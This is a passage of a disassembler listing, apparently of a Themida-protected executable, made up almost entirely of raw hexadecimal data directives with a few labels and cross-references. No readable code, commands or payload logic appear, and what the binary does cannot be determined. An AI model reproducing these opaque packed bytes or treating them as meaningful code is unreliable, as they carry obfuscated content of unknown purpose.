6A006A03h, 6800h, 858D8000h dd 647F963h, 6995FF50h, 89064529h, 48027385h, 2985C606h dd 47064518h, 0B15E8768h, 85B5FFC7h, 8D064509h, 4539FB85h dd 6AD0FF06h, 73B5FF00h, 0FF064802h, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0B8F6FF06h dd 2AE0D31h, 2890Fh, 0D68B0000h, 3DF8B70Fh, 37D0h, 0A8830Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 736E45C3h, 3B5FD3C4h, 0B5FFE982h, 6480273h dd 1800Fh, 0FFF50000h, 45073595h, 0F5BD8906h, 0F06452Eh dd 2682h, 14E800h, 0B6CD0000h, 45CF6957h, 99DA2D91h, 16F506C7h dd 11A4E64Dh, 7E9BACCh, 12000000h, 0F245A645h, 0E95A6198h dd 15Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 95C35646h, 6094E502h, 0E956BDEDh, 0Fh, 0A4D0022Eh dd 0A7C958CBh, 87A51FA5h, 8039F8BDh, 0B5FFFDE5h, 6480273h dd 9E8h, 5DFE3F00h, 718D5B44h, 0BD89BDD0h, 64528F1h, 3595FF59h dd 89064507h, 45301985h, 29006A06h, 452CADB5h, 80006A06h dd 6A7DC5h, 183DBD8Bh, 6A0645h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 3CC35141h, 73E2D805h, 0EE9C618h dd 9E000000h, 612C8C9Ch, 5A6CE7CBh, 16014453h, 6A006AF1h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 9C1FC353h, 0B40BC63Fh, 0AE922h, 49530000h dd 0AB18C8Fh, 0D9587B65h, 0DE957h, 8FD80000h, 951A37A5h dd 7DCE7ADDh, 5A66D900h, 0CA80006Ah, 77858D2Eh, 0BA064802h dd 23B81A4Eh, 2359958Bh, 6A500645h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89E2C351h dd 4510F1B5h, 6995FF06h, 89064529h, 4507B5BDh, 0FFF88306h dd 105850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8D7208C3h, 47BE0385h, 1C870F06h dd 60000000h, 13E9F18Bh, 0E6000000h, 0D1A227D7h, 7F182295h dd 0F52B911Bh, 6CACE899h, 0FF6110E9h, 89BD01D0h, 6A064523h dd 58A0F00h, 66000000h, 0A76BF181h, 6AFFBF0Fh, 0D3B70F00h dd 0D281006Ah, 507BA953h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0D7F7AC3h, 6AD78Bh, 1E1D8D33h dd 6A0645h, 8DFA8B66h, 48027785h, 75D18006h, 0C7816650h dd 95FFF899h, 6452969h, 0DE9h, 79289600h, 5AB87991h, 7FAD8297h dd 0F883A386h, 3C850FFFh, 89000000h, 451EC1B5h, 7FB58D06h dd 890647FCh, 45245985h, 4B858D06h, 660647A8h, 0FF59C6B9h dd 1810FD0h, 0FC000000h, 6AFBBF0Fh, 89BD8B00h, 0FF06451Ch dd 45011D95h, 29B53106h, 89064521h, 48027385h, 0AE906h dd 436E0000h, 4A65B316h, 7AE5D049h, 0EE9006Ah, 21000000h dd 1DE5C5h, 0A73991B9h, 2D5E41D5h, 6B858DD1h, 6A064802h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 566DC355h, 9501601Ch, 64517C1h, 840Fh, 89610000h dd 45006D95h, 9D295006h, 645258Dh, 6A046Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0EE81AC3h dd 18000000h, 8A4273CCh, 0E6BC8467h, 0AB6F6F5h, 0CD8D8B44h dd 5F064513h, 12E5858Dh, 85890645h, 6452049h, 57006A50h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0C23DCB67h, 0BD8B37B2h, 64509C5h, 285D8D8Bh, 0D1810645h dd 7A34FE46h, 8B66006Ah, 57006ACEh, 64F68053h, 81605A5Fh dd 0E5317AE3h, 0CA816652h, 6A61D8A9h, 73B5FF01h, 6A064802h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0E867C353h, 1A4416DAh, 0E9416CE4h, 9, 2EF86C4Dh dd 46780610h, 7E8BFh, 0EC020000h, 85FEAB1h, 0CE88Ch, 0C0520000h dd 9ACB9E5Eh, 0C8FC970h, 8D8BD7E7h, 6452869h, 95FF5F5Fh dd 6451215h, 10C18589h, 0B1E90645h, 0F00001Ah, 0C08BD6BFh dd 0F7B1E781h, 0BD834680h, 64530A1h, 83097500h, 4504BDBDh dd 19740006h, 0C08B5350h, 7D2B8h, 0FD858900h, 8D064512h dd 47B56C9Dh, 5BD3FF06h, 0BDBD8358h, 64504h, 53501774h dd 7D2B8h, 0FD858900h, 8D064512h, 47B25B9Dh, 5BD3FF06h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 620F16E7h, 870FFEC1h, 18h, 13E9h, 0F0A8E500h dd 0F551C459h, 56D71F07h, 0CBD97FE6h, 0C220147Fh, 0EE9h dd 8E432600h, 0D4A0D40Ch, 7D98DE54h, 60A85DFAh, 6840Fh dd 9D230000h, 6450989h, 21359D8Bh, 8B610645h, 44F181C0h dd 663C708Fh, 5917D281h, 2585C7h, 10645h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 540FB8C3h, 50D0AE2Bh, 0E4E7B868h, 0E1B5FFCEh, 8D06451Dh dd 4539FB85h, 89D0FF06h, 45303185h, 0DBD46806h, 0B5FFC005h dd 6451DE1h, 39FB858Dh, 0D0FF0645h, 1E158589h, 858D0645h dd 647F71Ch, 85B5FF50h, 0FF064509h, 45083195h, 74C00B06h dd 8DD88B0Bh, 4806CF85h, 0D3FF5006h, 6CF858Dh, 83660648h dd 0A750938h, 44985C7h, 10645h, 95FF0000h, 6451729h, 0FF25h dd 5F88300h, 85C70A73h, 6451125h, 1, 3198D23h, 95330645h dd 64521A5h, 2DEBD80h, 0F000648h, 885h, 191AE900h, 8B660000h dd 49BD83D7h, 64504h, 8B850Fh, 0EE90000h, 0C1000000h, 0E1326AFBh dd 8629D4A3h, 9DF208A5h, 0A8858D08h, 66064802h, 3C0DF181h dd 0DE8050h, 8D89016Ah, 6452889h, 10E9006Ah, 0C1000000h dd 66750115h, 0B208E5AEh, 0FC094975h, 8BCD6A9Ch, 45219D8Dh dd 89006A06h, 4521458Dh, 7995FF06h, 57064511h, 2558D89h dd 895A0645h, 4802D285h, 21952306h, 6A064500h, 8B6653FFh dd 0B5FF59D3h, 64802D2h, 17A99503h, 0B70F0645h, 0E995FFD0h dd 8B06452Ch, 4511A58Dh, 0E3858D06h, 8B0647F6h, 45299195h dd 0B70F5006h, 595FFC8h, 0E9064506h, 13h, 87889760h, 0F7E537A6h dd 0B292F890h, 37A02DE7h, 897F7EAFh, 47F76D85h, 0E89FB506h dd 6, 93348B07h, 8D596AD7h, 47F6F085h, 7E906h, 0EF8F0000h dd 8EC3675Fh, 6A508Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 2D0D0C3h, 56A97512h, 0DE9h, 15BF2300h dd 0D731629Fh, 0DBD9AF48h, 8156CE31h, 56FED5D9h, 0B5FF5963h dd 647F76Dh, 0FF2ED180h, 45083195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0D2440E89h dd 89CA8B66h, 450CA185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 1449D6E3h, 347A839Ah dd 11BD8B60h, 8D064515h, 47F75E85h, 8950FC06h, 452F099Dh dd 6DB5FF06h, 0F50647F7h, 6E96060h, 0F000000h, 0E297BAF7h dd 61DE8BC8h, 0BE9h, 7E405400h, 0B5389C0Ah, 1F97DD20h dd 3195FF61h, 8B064508h, 451959BDh, 81858906h, 8B0647F7h dd 453251BDh, 14E806h, 5D40000h, 6E163460h, 730EFEFEh dd 2BCB7564h, 0B345A1B7h, 0BD314A42h, 64509E9h, 3D858D5Fh dd 8B0647F7h, 451DAD95h, 0BD895006h, 64522D5h, 0F76DB5FFh dd 0FE80647h, 0F3000000h, 1E8A6316h, 6ADDC589h, 726728C4h dd 0D1BF7A43h, 5F458E11h, 83195FFh, 81660645h, 89DC78F2h dd 47F77985h, 1D8D8906h, 8D06450Dh, 47F73085h, 0A18D8906h dd 5006451Dh, 60D68B66h, 0D08B5951h, 6DB5FF61h dd 0FF0647F7h, 45083195h, 0EE906h, 0D34E0000h, 20291609h dd 0D48DE481h, 0B1F676E3h, 0F77D8589h, 0B9660647h, 858D4592h dd 647F74Bh, 6018589h, 0B9500645h, 549F11D4h, 0F76DB5FFh dd 9FBA0647h, 0FF22AA33h, 45083195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 47F07685h dd 0B1417EB9h, 8589EA8Ah, 6451311h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0DC35747h, 755002AEh, 0F6CE65EFh dd 8E9F9h, 543C0000h, 0AC41D346h, 8A0FE717h, 6, 26118D8Bh dd 858D0645h, 647F6FFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 42C35646h, 5510F34Ch, 50807573h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F7C35747h, 9562105h dd 45117585h, 0B5FF5906h, 647F76Dh, 32659589h, 95FF0645h dd 6450831h, 0ADD8501h, 9D890645h, 6450B39h, 0F7718589h dd 81660647h, 8D1555D2h, 47F70E85h, 7D98106h, 5029CD03h dd 15B59523h, 9D890645h, 6450419h, 0F76DB5FFh, 8D890647h dd 645012Dh, 83195FFh, 89F90645h, 47F77585h, 0EFBA6606h dd 10468C3h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 27388EC3h, 0B192F1FDh, 0FDE0A50h dd 0A8Dh, 0CB8A6000h, 14B1BD8Bh, 89610645h, 453019BDh dd 5858D06h, 0E90647F8h, 14h, 668991E9h, 2177A38Ah, 0D0856DBBh dd 35DAD1E1h, 8134C1F8h, 95958B50h, 8D064517h, 47F90985h dd 598D8B06h, 5006452Ch, 0BAC2D281h, 870F6C41h, 8, 28B0Fh dd 61600000h, 30D195FFh, 95290645h, 6452581h, 850FC085h dd 6, 178D9D89h, 0BD800645h, 64802DEh, 1E850F00h, 0E9000000h dd 0Fh, 0EBD2A22Eh, 0C2AD972Bh, 0B90B51C2h, 0E9D351FAh dd 1494h, 2FF37AB9h, 49BD8368h, 64504h db 0Fh, 85h, 2Ah byte_570023 db 0 ; DATA XREF: Themida_:005411E8o dd 81660000h, 607B65C1h, 0BE9h, 0AC41D300h, 8B8E717h, 0A70F016Fh dd 88BD8361h, 64807h, 43840Fh, 95890000h, 6452449h, 0F7A2858Dh dd 95290647h, 64520ADh, 1447E9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 8687A832h dd 12E991FBh, 89000000h, 45024D8Dh, 8D858D06h, 2B0647F7h dd 4512D995h, 0B5015006h, 6453059h, 0F805858Dh, 8F0F0647h dd 6, 117D958Bh, 1500645h, 451189BDh, 49BD8306h, 64504h dd 19840Fh, 0BD090000h, 6450591h, 0F92B858Dh, 0E9F50647h dd 2Bh, 4077B966h, 8D44F180h, 47F91485h, 10E806h, 3D970000h dd 8A7CB036h, 6BAA491h, 0B4899F42h, 8B575118h, 4514F995h dd 505F5A06h, 8DF9B70Fh, 47F96385h, 0AE906h, 69490000h dd 0C14D5359h, 63ED9637h, 23758529h, 33500645h, 450B318Dh dd 5595FF06h, 83064530h, 958B10C4h, 6452EA5h, 820FC08Bh dd 3, 600FD180h, 6409B866h, 0BD8361F8h, 64530A1h, 83097500h dd 4504BDBDh, 19740006h, 0C08B5350h, 7D3B8h, 0FD858900h dd 8D064512h, 47B56C9Dh, 5BD3FF06h, 0BDBD8358h, 64504h dd 53501774h, 7D3B8h, 0FD858900h, 8D064512h, 47B25B9Dh dd 5BD3FF06h, 0B9665058h, 605F2EF1h, 2365B533h, 0AE90645h dd 0E8000000h, 92A4E9C8h, 64631886h, 6A6125h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BC34AC3h dd 450CB58Dh, 60C08B06h, 5374D080h, 21C5BD31h, 615A0645h dd 348DADBAh, 8DBD8135h, 6F0647F7h, 0F616572h, 9384h, 5E900h dd 0C37A0000h, 8DA7D9F3h, 47F80585h, 858D5006h, 647F942h dd 63858D50h, 500647F9h, 305595FFh, 0C4830645h, 2985C60Ch dd 44064518h, 0A3184F68h, 85B5FF96h, 8D064509h, 4539FB85h dd 8BD0FF06h, 63858DD8h, 500647F9h, 858DD3FFh, 647F78Dh dd 5858D50h, 500647F8h, 449BD83h, 74000645h, 2B858D08h dd 0EB0647F9h, 14858D06h, 500647F9h, 0F963858Dh, 0FF500647h dd 45305595h, 10C48306h, 28EFB966h, 8E0Fh, 8D090000h, 64532C5h dd 172995FFh, 25F80645h, 0FFh, 0BD096060h, 6451715h, 9E18531h dd 80610645h, 83610AD5h, 830F05F8h, 2Eh, 30198D8Bh, 85C70645h dd 6451125h, 1, 3035BD23h, 858D0645h, 647F7C1h, 0AD858B60h dd 61064530h, 5AE9h, 0E1816600h, 0BD8302D0h, 6450449h dd 3C840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0CC79C355h, 8D8B9FE2h dd 64516F9h, 0F7EC858Dh, 0B5290647h, 645302Dh, 12E9h, 0A59D2900h dd 8D06450Dh, 47F7CE85h, 0E58D8B06h, 89064507h, 47F80185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0A2445Eh, 0A5958B54h, 8306450Ch, 450449BDh dd 850F0006h, 26h, 2479958Bh, 0BD830645h, 6480788h, 2E840F00h dd 0E8000000h, 0Dh, 0FB16BB14h, 814A2D81h, 0AD48E5EEh dd 0DE95AFDh, 8B000011h, 451485BDh, 0BD896006h, 6451EB1h dd 28E0Fh, 5B500000h, 4ECE961h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 81669AC3h dd 604B73F1h, 6E8h, 0DC187900h, 0F3033C9h, 8Ah, 8D895900h dd 6450021h, 0FC08B61h, 287h, 83CA8B00h, 4530A1BDh, 9750006h dd 4BDBD83h, 74000645h, 8B535019h, 7D4B8C0h, 85890000h dd 64512FDh, 0B56C9D8Dh, 0D3FF0647h, 0BD83585Bh, 64504BDh dd 50177400h, 7D4B853h, 85890000h, 64512FDh, 0B25B9D8Dh dd 0D3FF0647h, 6AF5585Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 8C02C356h, 0B0C6A2DAh dd 0E9963FECh, 0Eh, 0E92A7187h, 54BC72F6h, 0E14682C6h dd 0C08B51EFh, 4458D8Bh, 3F680645h, 6A000F00h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 769D6859h, 0FFE88F8h, 0B88h, 5830F00h, 66000000h, 0BDDFC181h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0A3132EC3h, 8652D54Eh, 0F9B2DD8h, 0D81h dd 81666000h, 3102CFD6h, 4504E585h, 0B70F6106h, 0A195FFC8h dd 8B06450Ch, 0FC085CFh, 1D85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8589C6E2h dd 647F785h, 68B0Fh, 8D8B0000h, 6452CDDh, 0F98B006Ah, 6AF5006Ah dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 89FAE3B8h, 451221B5h, 8B006A06h, 4510A9BDh dd 6A006A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 303BC353h, 549BD31h, 858D0645h dd 647F963h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 5BC35343h, 0BA6A67D0h, 413BCA30h, 0D18B6650h, 0CB8A016Ah dd 6A3FF280h, 45958B01h, 6A064531h, 56006A01h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0FF685948h dd 0E9000F01h, 0Ch, 0C661414Eh, 99221C35h, 3233E3FFh, 449BD83h dd 0F000645h, 2884h, 9D8D0900h, 8D064505h, 47F7E285h, 0E9CC8A06h dd 21h, 10E9h, 7A92F000h, 5B331A8Dh, 0F0DDFB02h, 0F2BC1064h dd 0B8858D89h, 8B0647F7h, 4522498Dh, 6A5006h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0EC9877C3h dd 6E9C667h, 59000000h, 5C14FB1Bh, 958B507Bh, 6452F75h dd 0F785B5FFh, 0B5290647h, 6451C69h, 0F77195FFh, 0F8B90647h dd 85350615h, 48850FC0h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0A594C353h dd 6FE92Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0D91E5AC3h, 99D31A4h, 89064507h dd 47F78985h, 0B5BF6606h, 89B5FFFDh, 810647F7h, 812A8CD7h dd 1195FF24h, 0E9064513h, 0Fh, 0EEAF677Bh, 0BF30F16Bh dd 99CF0D58h, 0E992F422h, 8, 0F28DC2E6h, 40940550h, 850FC085h dd 5, 0BADFD4B9h, 8B106A44h, 45309D95h, 49BD8306h, 64504h dd 24840Fh, 0B5890000h, 6452589h, 0F7E2858Dh, 0DA800647h dd 1CE96Fh, 0B9660000h, 800F7A43h, 6, 13CD8D0Bh, 858D0645h dd 647F7B8h, 0AB1BD8Bh, 6A500645h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 335DC355h dd 0E4B04E04h, 0A9BD89h, 0B5FF0645h, 647F785h, 0FFF9B70Fh dd 47F77D95h, 85896006h, 6453125h, 1CEED9B8h, 0C0856164h dd 2D850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0E568F1C3h, 3EBC7C42h, 3840FF6h dd 66000000h, 89FCD18Bh, 47F78985h, 6E906h, 0E5C60000h dd 0C13481D0h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 4047D1C3h, 5FB94A2Bh, 6A00FD1Ah dd 0C9958B00h, 0FF064524h, 47F789B5h, 8A0F5106h, 3, 5FD7BF0Fh dd 0F77595FFh, 0C0850647h, 6850Fh, 0B5310000h, 6450731h dd 0F789B5FFh, 6A0647h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0F6FACCC3h, 9D8B604Dh, 6452359h dd 0CE9h, 63486B00h, 0AA1FA414h, 6DBAD566h, 95FF614Eh dd 6451311h, 850FC085h, 6, 8809C281h, 6A4EB3h, 68D78B66h dd 80h, 0E860D18Bh, 0Ah, 0E426406Ch, 617ED9A8h, 5E5671E5h dd 0C681665Eh, 6A619924h, 55006A03h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 51569831h dd 2658D23h, 0BD8B0645h, 6452381h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0FE1A86C3h dd 6AE3F2h, 68h, 8E0F57C0h, 6, 90E8D281h, 0FF5A0CD1h, 47F801B5h dd 79BD8B06h, 0FF06452Ah, 45296995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 49278430h dd 0CDABE4Bh, 0FFF88340h, 55D850Fh, 85FF0000h, 648026Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E6C35242h dd 0BB75D45Fh, 64BC2251h, 1CADBD0Bh, 820F0645h, 6, 13D58529h dd 0BD830645h, 648026Fh, 32840F02h, 1000004h, 451EADBDh dd 9F858D06h, 0E9005AF5h, 7, 7F9B57A8h, 0FFB858A4h, 51006AD0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 2A1229A8h, 29DD428Ch, 452149B5h, 0F2858D06h, 0F005AEFh dd 188Ah, 13E900h, 1A4E0000h, 5E6486B6h, 0AAC6ACDAh, 655D3937h db 0B4h, 14h word_570A16 dw 407h ; DATA XREF: Themida_:0053F444o ; Themida_:0053F728o ... dd 6AD0FF22h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 8A9CC350h, 0BD8BFCB1h, 6452BA1h dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0A2E8DFC3h, 0A19D0160h, 8106450Ah, 96C367D2h dd 0BD836175h, 64530A1h, 83097500h, 4504BDBDh, 19740006h dd 0C08B5350h, 7D8B8h, 0FD858900h, 8D064512h, 47B56C9Dh dd 5BD3FF06h, 0BDBD8358h, 64504h, 53501774h, 7D8B8h, 0FD858900h dd 8D064512h, 47B25B9Dh, 5BD3FF06h, 61BD3358h, 0E8064525h dd 5, 51F4585h, 0EDB52959h, 5906451Fh, 132D58B9h, 89C08B6Fh dd 45003D8Dh, 3F6806h, 0CE8B000Fh, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0EE7D24C3h dd 395E7589h, 0D18B6626h, 5914B966h, 0B70F006Ah, 0A195FFD7h dd 0B206450Ch, 6AC085A1h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0B983C351h, 58DBDC0Fh dd 0F7858589h, 6A0647h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 661972C3h, 0FF68CF8Bh, 66000F01h dd 839A96BFh, 450449BDh, 840F0006h, 19h, 858DD18Bh, 647F7E2h dd 15818D31h, 0EE90645h, 29000000h, 4518C5B5h, 0B8858D06h dd 8B0647F7h, 8B6650F9h, 85B5FFCEh, 0F0647F7h, 0E280C8B7h dd 7D95FFFAh, 6A0647F7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 8CA3C356h, 8F4CBEE5h dd 0B7BA1769h, 0F7898589h, 10E80647h, 6F000000h, 79E519CAh dd 0E01A88B4h, 0B0F55082h, 5638F2A5h, 2BAD8531h, 5F590645h dd 2B0585C7h, 645h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0D4E542C3h, 8C7DA2DBh dd 83F9BF0Fh, 47F789BDh, 840F0006h, 1A2h, 24798D89h, 858D0645h dd 647FA67h, 9C99589h, 89500645h, 451D61BDh, 66016A06h dd 0FF456EB9h, 47F789B5h, 1BD8B06h, 0FF06450Bh, 47F78195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 30F4F51h, 45159995h, 89B5FF06h, 10647F7h dd 4521D59Dh, 0AE906h, 0CA230000h, 0C5545175h, 53D47DBAh dd 131195FFh, 6A0645h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 62B4CBC3h, 0F01FF68h, 0FDBD8B00h dd 8B064503h, 451DE5BDh, 49BD8306h, 64504h, 2C840Fh, 0BF0F0000h dd 0E2858DCFh, 0F0647F7h, 384h, 0CE8B6600h, 29E9h, 10E900h dd 0F7540000h, 83A079E9h, 0B5D14238h, 9C65F51Fh, 858DD67Dh dd 647F7B8h, 0FD9D8B60h, 8B064514h, 451705BDh, 0E8506106h dd 7, 0C794DFBh, 0E8240E29h, 7, 53D1D8DAh, 29827505h, 450D11BDh dd 0FF595906h, 47F785B5h, 95FFF506h, 647F77Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 82C35646h, 3C46676Ch dd 958B2EF9h, 6450CE5h, 0F7898589h, 6A0647h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 7A0FBEC3h dd 4820Fh, 0BA660000h, 0B5FFF438h, 647F789h, 0D6D9D89h dd 95FF0645h, 647F779h, 19A1B5BFh, 0A98D8B4Fh, 0FF064523h dd 47F789B5h, 95FFF906h, 6451311h, 12E9FE8Bh, 31FFFFF6h dd 4511C9BDh, 0D2B5FF06h, 6A064802h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9F5C353h dd 0Bh, 0A08F2D84h, 0BB4C8AF9h, 8BD6E0AEh, 45012195h, 1195FF06h dd 0E806452Ah, 6, 0E6E17FFEh, 890FA2C0h, 3, 5FCBB70Fh dd 9B1858Bh, 9600645h, 4509C5BDh, 39852906h, 61064525h dd 448E9h, 0A1850100h, 8D06451Ch, 47FA87B5h, 5880F06h dd 66000000h, 0AD70DA81h, 0A84B858Dh, 958B0647h, 64511F1h dd 0B966D0FFh, 6AAAEDh, 1599BD8Bh, 95FF0645h, 645011Dh dd 8BAEF180h, 21B501F3h, 0F06452Fh, 858DD3B7h, 647A84Bh dd 0FFD2BF0Fh, 8ABFB9D0h, 6A00DBh, 0EE9h, 78534E00h, 2357A08Dh dd 0B0198F7Ch, 0FFDC76D9h, 45011D95h, 15BD8B06h, 8B06452Ah dd 0A1BD83C0h, 64530h, 0BD830975h, 64504BDh, 50197400h dd 0B8C08B53h, 7D9h, 12FD8589h, 9D8D0645h, 647B56Ch, 585BD3FFh dd 4BDBD83h, 74000645h, 0B8535017h, 7D9h, 12FD8589h, 9D8D0645h dd 647B25Bh, 585BD3FFh, 32CD958Bh, 8BFC0645h, 4509F1BDh dd 6AC08B06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0ED0BC352h, 8B5049C6h, 450E1995h dd 60D88B06h, 0ADE7EA81h, 8F0F1D79h, 3, 618EEF80h, 7D9D8D53h dd 8B06452Ah, 8B038903h, 43895043h, 6B9D8D50h, 8B064802h dd 5B038903h, 0A3FCD981h, 0D08B7AD3h, 18F98589h, 6A0645h dd 8DD3BF0Fh, 48026B85h, 0C5958B06h, 50064522h, 6AFEB70Fh dd 0AD958960h, 8D064522h, 452A7D85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8950BA33h dd 452561BDh, 1006A06h, 45328195h, 66006A06h, 68D55DBAh dd 1800h, 79BD23F5h, 53064531h, 1595FFF9h, 0E9064512h dd 5, 23FFD95Bh, 0F9B52964h, 0FF064500h, 45073595h, 0A9D18106h dd 0FF43D6F7h, 4802D2B5h, 94F28106h, 0FF08BBF9h, 452A1195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 6CB9299Dh, 8D06D53Bh, 452A7D85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 89419D55h, 45071195h, 18408B06h, 78985C7h, 645h, 8D010000h dd 6450021h, 449BD83h, 0F000645h, 1D84h, 0D0B96600h, 8C3DC1h dd 830F0000h, 166h, 0E9CF8B66h, 11h, 1219589h, 963D0645h dd 0F000000h, 14D83h, 9F858D00h, 8B005AF5h, 4505918Dh dd 81D0FF06h, 27B4F4F1h, 0F2858D54h, 6A005AEFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 666FC355h, 7D94C181h, 0FFCE8B66h, 8BC08BD0h, 45209D95h dd 0A1BD8306h, 64530h, 0BD830975h, 64504BDh, 50197400h dd 0B8C08B53h, 0BC6h, 12FD8589h, 9D8D0645h, 647B56Ch, 585BD3FFh dd 4BDBD83h, 74000645h, 0B8535017h, 0BC6h, 12FD8589h, 9D8D0645h dd 647B25Bh, 585BD3FFh, 41965FB9h, 52006A6Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BE601485h dd 318B94D9h, 1758D0Bh, 8B610645h, 0D3BF0FC0h, 0D4DBD8Bh dd 0F8830645h, 24850FFFh, 0F8000000h, 0C7F9B70Fh, 4506B185h dd 6, 0CFE900h, 85290000h, 6450965h, 28E9h, 71958900h dd 83064507h, 850F01F8h, 19h, 8E8h, 24DD0700h, 4C5C3757h dd 659589C5h, 59064502h, 0CCE9h, 0F21FE900h, 6AFFFFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0BC22CC3h, 0FF5F37D0h, 8B2AE769h, 0CF8166D3h, 0C08B8C3Eh dd 23818529h, 0BD830645h, 64530A1h, 83097500h, 4504BDBDh dd 19740006h dd 0C08B5350h, 7DDB8h, 0FD858900h, 8D064512h, 47B56C9Dh dd 5BD3FF06h, 0BDBD8358h, 64504h, 53501774h, 7DDB8h, 0FD858900h dd 8D064512h, 47B25B9Dh, 5BD3FF06h, 66CB8B58h, 0C08BCB8Bh dd 326D958Bh, 45E90645h, 89000002h, 451D0DB5h, 6F858D06h dd 81064800h, 168E3CE1h, 67858968h, 60064802h, 2EE28166h dd 0DD9D893Ch, 61064530h, 65E9h, 0E9958900h, 89064511h dd 4504C19Dh, 77858D06h, 8B0647FEh, 45002195h, 0BD314006h dd 6450455h, 89952960h, 0E9064513h, 0Fh, 0F2DFF6ACh, 